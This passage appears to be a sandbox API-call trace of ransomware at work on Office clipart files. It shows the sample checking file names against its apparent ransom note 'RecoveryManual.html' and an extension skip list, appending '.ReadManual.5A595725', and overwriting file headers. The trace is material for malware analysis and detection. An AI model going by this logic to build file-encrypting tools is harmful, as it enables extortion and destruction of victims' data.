[0274.176] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.176] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.176] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" [0274.176] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.ReadManual.5A595725" [0274.176] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.ReadManual.5A595725") returned 87 [0274.176] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39484694566) returned 1 [0274.178] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf")) returned 0x20 [0274.179] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.180] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4712) returned 1 [0274.180] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1268, lpName=0x0) returned 0x184 [0274.180] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.181] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.181] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.182] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.182] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1268) returned 0x2f0000 [0274.183] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.183] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39485138523) returned 1 [0274.183] CloseHandle (hObject=0x184) returned 1 [0274.183] SetSecurityInfo () returned 0x57 [0274.183] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.183] CloseHandle (hObject=0x194) returned 1 [0274.183] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89bcf00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00308_.WMF", cAlternateFileName="")) returned 1 [0274.183] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00308_.WMF" | out: lpString1="SL00308_.WMF") returned="SL00308_.WMF" [0274.183] lstrcmpiW (lpString1="SL00308_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.183] StrStrIW (lpFirst="SL00308_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.183] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.183] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.183] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" [0274.184] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.ReadManual.5A595725" [0274.184] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.ReadManual.5A595725") returned 87 [0274.184] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39485234519) returned 1 [0274.184] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf")) returned 0x20 [0274.184] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.184] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8416) returned 1 [0274.184] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20e0, lpName=0x0) returned 0x184 [0274.184] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.185] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.185] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.187] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.187] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20e0) returned 0x2f0000 [0274.187] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.187] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39485579894) returned 1 [0274.187] CloseHandle (hObject=0x184) returned 1 [0274.187] SetSecurityInfo () returned 0x57 [0274.187] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.187] CloseHandle (hObject=0x194) returned 1 [0274.187] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0274.187] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00345_.WMF" | out: lpString1="SL00345_.WMF") returned="SL00345_.WMF" [0274.187] lstrcmpiW (lpString1="SL00345_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.187] StrStrIW (lpFirst="SL00345_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.187] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.188] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.188] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" [0274.188] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.ReadManual.5A595725" [0274.188] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.ReadManual.5A595725") returned 87 [0274.188] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39485672909) returned 1 [0274.188] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf")) returned 0x20 [0274.188] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.189] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2788) returned 1 [0274.189] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae4, lpName=0x0) returned 0x184 [0274.189] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.189] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.189] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.191] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.193] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae4) returned 0x2f0000 [0274.193] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.193] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39486226834) returned 1 [0274.194] CloseHandle (hObject=0x184) returned 1 [0274.194] SetSecurityInfo () returned 0x57 [0274.194] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.194] CloseHandle (hObject=0x194) returned 1 [0274.194] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0274.194] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00452_.WMF" | out: lpString1="SL00452_.WMF") returned="SL00452_.WMF" [0274.194] lstrcmpiW (lpString1="SL00452_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.194] StrStrIW (lpFirst="SL00452_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.194] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.194] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.194] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" [0274.194] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.ReadManual.5A595725" [0274.194] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.ReadManual.5A595725") returned 87 [0274.194] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39486320447) returned 1 [0274.194] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf")) returned 0x20 [0274.195] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.195] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1344) returned 1 [0274.195] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x540, lpName=0x0) returned 0x184 [0274.195] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.196] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.196] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.202] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.202] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x540) returned 0x2f0000 [0274.202] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39487101178) returned 1 [0274.202] CloseHandle (hObject=0x184) returned 1 [0274.202] SetSecurityInfo () returned 0x57 [0274.202] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.202] CloseHandle (hObject=0x194) returned 1 [0274.203] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0274.203] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL00712_.WMF" | out: lpString1="SL00712_.WMF") returned="SL00712_.WMF" [0274.203] lstrcmpiW (lpString1="SL00712_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.203] StrStrIW (lpFirst="SL00712_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.203] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.203] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.203] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" [0274.203] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.ReadManual.5A595725" [0274.203] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.ReadManual.5A595725") returned 87 [0274.203] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39487196988) returned 1 [0274.203] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf")) returned 0x20 [0274.203] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.204] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7608) returned 1 [0274.204] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1db8, lpName=0x0) returned 0x184 [0274.204] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.205] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.205] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.208] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.208] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1db8) returned 0x2f0000 [0274.208] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.209] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39487735932) returned 1 [0274.209] CloseHandle (hObject=0x184) returned 1 [0274.209] SetSecurityInfo () returned 0x57 [0274.209] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.209] CloseHandle (hObject=0x194) returned 1 [0274.209] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0274.209] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SL01040_.WMF" | out: lpString1="SL01040_.WMF") returned="SL01040_.WMF" [0274.209] lstrcmpiW (lpString1="SL01040_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.209] StrStrIW (lpFirst="SL01040_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.209] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.209] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.209] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" [0274.209] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.ReadManual.5A595725" [0274.210] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.ReadManual.5A595725") returned 87 [0274.210] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39487831168) returned 1 [0274.210] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf")) returned 0x20 [0274.210] 